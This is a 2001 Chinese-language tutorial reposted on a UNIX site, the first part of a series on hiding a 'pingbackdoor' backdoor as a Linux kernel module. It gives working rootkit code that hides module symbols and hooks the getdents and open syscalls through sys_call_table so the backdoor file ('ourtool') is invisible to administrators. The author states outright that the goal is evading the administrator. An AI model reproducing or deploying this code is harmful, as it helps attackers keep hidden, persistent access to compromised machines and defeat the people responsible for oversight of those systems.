[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
pingbackdoor的隱藏(1)
本文出自: http://e4gle.org 作者: 大鷹 (2001-07-04 20:10:00)
by 大鷹
www.patching.net

這個程序早已做好,其實完全可以寫一個腳本,和現有的lkm結合來隱藏進程,但我想重新改寫程序,做成lkm,也就是一個c文件裡面,實現功能如下:
 1,隱藏核心符號鏈接表
 一般的lkm程序都可以在符號鏈接表裡面有標示,所以也極易被管理員發現,首先我們可以不把符號export出去,通過如下例程實現:
 register_symtab(NULL);
 插入到init_module()函數塊中
 其次我們可以截獲符號鏈接:
 #define MODULE
 #define __KERNEL__
 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 
 
 /*獲取export出來的函數*/
 extern int *pingbackdoor;
 
 /*我們自己瞎編的一個系統符號如firewall*/
 int new_call_in_firewall()
 {
  return 0;
 }
 
 int init_module(void)                /*加載*/
 {
  pingbackdoor=new_call_in_firewall;
  return 0;
 }
 
 void cleanup_module(void)            /*卸載*/
 {
 }
 在我這個程序中第一種是可行的。
 
 2,隱藏文件本身
 呵呵,其實這個程序被編譯一般都需要存儲在磁盤,所以就有可能被發現,不管你是搞到..目錄也好,
都會被發現的,我也可以通過兩種方法來解決,一種比較簡單,一種隱蔽性強!
 好,看第一種的例程,通過截獲ls命令的系統調用,我怎獲知ls用了哪些系統調用呢?謝天謝地,
linux裡面有個strace工具,而solaris裡面有truss工具,呵呵,看看我的strace ls的結果:
 [Hello!root]# strace ls
 execve("/bin/ls", ["ls"], [/* 19 vars */]) = 0
 brk(0)                                  = 0x8053608
 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
 x40014000
 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
 open("/etc/ld.so.cache", O_RDONLY)      = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=12625, ...}) = 0
 old_mmap(NULL, 12625, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
 close(3)                                = 0
 open("/lib/libtermcap.so.2", O_RDONLY)  = 3
 fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 40
 96
 old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000
 mprotect(0x4001c000, 3016, PROT_NONE)   = 0
 old_mmap(0x4001c000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x200
 0) = 0x4001c000
 close(3)                                = 0
 open("/lib/libc.so.6", O_RDONLY)        = 3
 fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 40
 96
 old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001d000
 mprotect(0x4010a000, 30812, PROT_NONE)  = 0
 old_mmap(0x4010a000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec
 000) = 0x4010a000
 old_mmap(0x4010e000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON
 YMOUS, -1, 0) = 0x4010e000
 close(3)                                = 0
 mprotect(0x4001d000, 970752, PROT_READ|PROT_WRITE) = 0
 mprotect(0x4001d000, 970752, PROT_READ|PROT_EXEC) = 0
 munmap(0x40015000, 12625)               = 0
 personality(PER_LINUX)                  = 0
 getpid()                                = 9912
 brk(0)                                  = 0x8053608
 brk(0x8053640)                          = 0x8053640
 brk(0x8054000)                          = 0x8054000
 open("/usr/share/locale/locale.alias", O_RDONLY) = 3
 fstat64(0x3, 0xbfffba44)                = -1 ENOSYS (Function not implemented)
 fstat(3, {st_mode=S_IFREG|0644, st_size=2265, ...}) = 0
 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
 x40015000
 read(3, "# Locale name alias data base.\n#"..., 4096) = 2265
 read(3, "", 4096)                       = 0
 close(3)                                = 0
 munmap(0x40015000, 4096)                = 0
 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or dire
 ctory)
 open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
 close(3)                                = 0
 open("/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=44, ...}) = 0
 old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
 close(3)                                = 0
 brk(0x8055000)                          = 0x8055000
 open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=93, ...}) = 0
 old_mmap(NULL, 93, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000
 close(3)                                = 0
 open("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=29970, ...}) = 0
 old_mmap(NULL, 29970, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40112000
 close(3)                                = 0
 open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=508, ...}) = 0
 old_mmap(NULL, 508, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000
 close(3)                                = 0
 open("/usr/share/locale/en_US/LC_NUMERIC", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0
 old_mmap(NULL, 27, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
 close(3)                                = 0
 open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 3
 fstat(3, {st_mode=S_IFREG|0644, st_size=87756, ...}) = 0
 old_mmap(NULL, 87756, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4011a000
 close(3)                                = 0
 time(NULL)                              = 984434527
 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
 ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
 brk(0x8058000)                          = 0x8058000
 open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1 ENOTDIR (Not a directory
 )
 open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3
 fstat(3, {st_mode=S_IFDIR|0700, st_size=1024, ...}) = 0
 fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
 brk(0x805a000)                          = 0x805a000
 getdents(3, /* 20 entries */, 3391)     = 428
 getdents(3, /* 0 entries */, 3391)      = 0
 close(3)                                = 0
 lstat("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
 lstat("/usr/lib", {st_mode=S_IFDIR|0755, st_size=8192, ...}) = 0
 lstat("/usr/lib/gconv", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
 open("/usr/lib/gconv/gconv-modules", O_RDONLY) = 3
 。。。。。。。。。。。。
 面很多,但不太重要,實現第一種方法我們只需要截獲getdents這個調用就可以了。因為ls就是通過
這個系統調用來獲得文件及目錄列表的。好看例程!
 #define MODULE
 #define __KERNEL__
 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 
 extern void* sys_call_table[];
 
 int (*orig_getdents) (uint, struct dirent *, uint);
 
 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
 {
  unsigned int tmp, n;
  int t, proc = 0;
  struct inode *dinode;
  struct dirent *dirp2, *dirp3;
  char hide[]="ourtool";                       /*我們要隱藏的文件*/
 
  /*調用原來的getdents -> 將結果保存臨時文件tmp */
  tmp = (*orig_getdents) (fd, dirp, count);
 
  /*對磁盤緩沖的操作*/
  /*這個檢查是必須的,因為如果曾經有getdents被調用並且將結果保存緩沖區……*/
 #ifdef __LINUX_DCACHE_H
     dinode = current->files->fd[fd]->f_dentry->d_inode;
 #else
     dinode = current->files->fd[fd]->f_inode;
 #endif
 
  /*dinode是所需的目錄的索引結點*/
  if (tmp > 0) 
  {
   /*dirp2是新的dirent結構*/
   dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
   /*將dirent結構拷至dirp2*/
   memcpy_fromfs(dirp2, dirp, tmp);
   /*將dirp3指向dirp2*/
   dirp3 = dirp2;
   t = tmp;
   while (t > 0) 
   {
    n = dirp3->d_reclen;
    t -= n;
    /*檢查當前文件名是否是我們想要隱藏的名稱*/
    if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
    {
     /*如果有必要的話,修改dirent結構*/
     if (t != 0)
      memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
     else
      dirp3->d_off = 1024;
     tmp -= n;
    }
    if (dirp3->d_reclen == 0) 
    {
     /*
      * workaround for some shitty fs drivers that do not properly
      * feature the getdents syscall.
     */
     tmp -= t;
     t = 0;
    }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
   }
   memcpy_tofs(dirp, dirp2, tmp);
   kfree(dirp2);
  }
  return tmp;
 }
 
 
 int init_module(void)                /*載入*/
 {
  orig_getdents=sys_call_table[SYS_getdents];
  sys_call_table[SYS_getdents]=hacked_getdents;
  return 0;
 }
 
 void cleanup_module(void)            /*卸載*/
 {
  sys_call_table[SYS_getdents]=orig_getdents; 
                                        
 }
 不過這種方法系統管理員仍然可以通過cat xxx等命令來看到我的程序,只要程序名字起的不要太普通,
一般管理員是不會發現的。
 好,我們看第二種隱藏方法,深度隱藏!
 方法是,截獲open調用並且檢查文件名是否是我的程序名,如果是的話,就拒絕任何open的嘗試,所以
read/write都不可能實現了,看例程:
 define MODULE
 #define __KERNEL__
 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 #include 
 
 extern void* sys_call_table[];
 
 
 int (*orig_open)(const char *pathname, int flag, mode_t mode);
 
 
 int hacked_open(const char *pathname, int flag, mode_t mode)
 {
  char *kernel_pathname;
  char hide[]="ourtool";
  
  /*this is old stuff -> transfer to kernel space*/
  kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
 
  memcpy_fromfs(kernel_pathname, pathname, 255);
 
  if (strstr(kernel_pathname, (char*)&hide ) != NULL)
  {
   kfree(kernel_pathname);
   /*返回一個‘file does not exist‘的error code*/
   return -ENOENT;
  }
  else
  {
   kfree(kernel_pathname);
   /*沒關系,文件名不是ourtool……*/
   return orig_open(pathname, flag, mode);
  }
 }
 
 
 int init_module(void)                /*加載*/
 {
  orig_open=sys_call_table[SYS_open];
  sys_call_table[SYS_open]=hacked_open;
  return 0;
 }
 
 void cleanup_module(void)            /*卸載*/
 {
  sys_call_table[SYS_open]=orig_open;                                      
 }
 好,太長了,下面的隱藏進程以及隱藏網絡連接部分下回分解,呵呵
 

(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★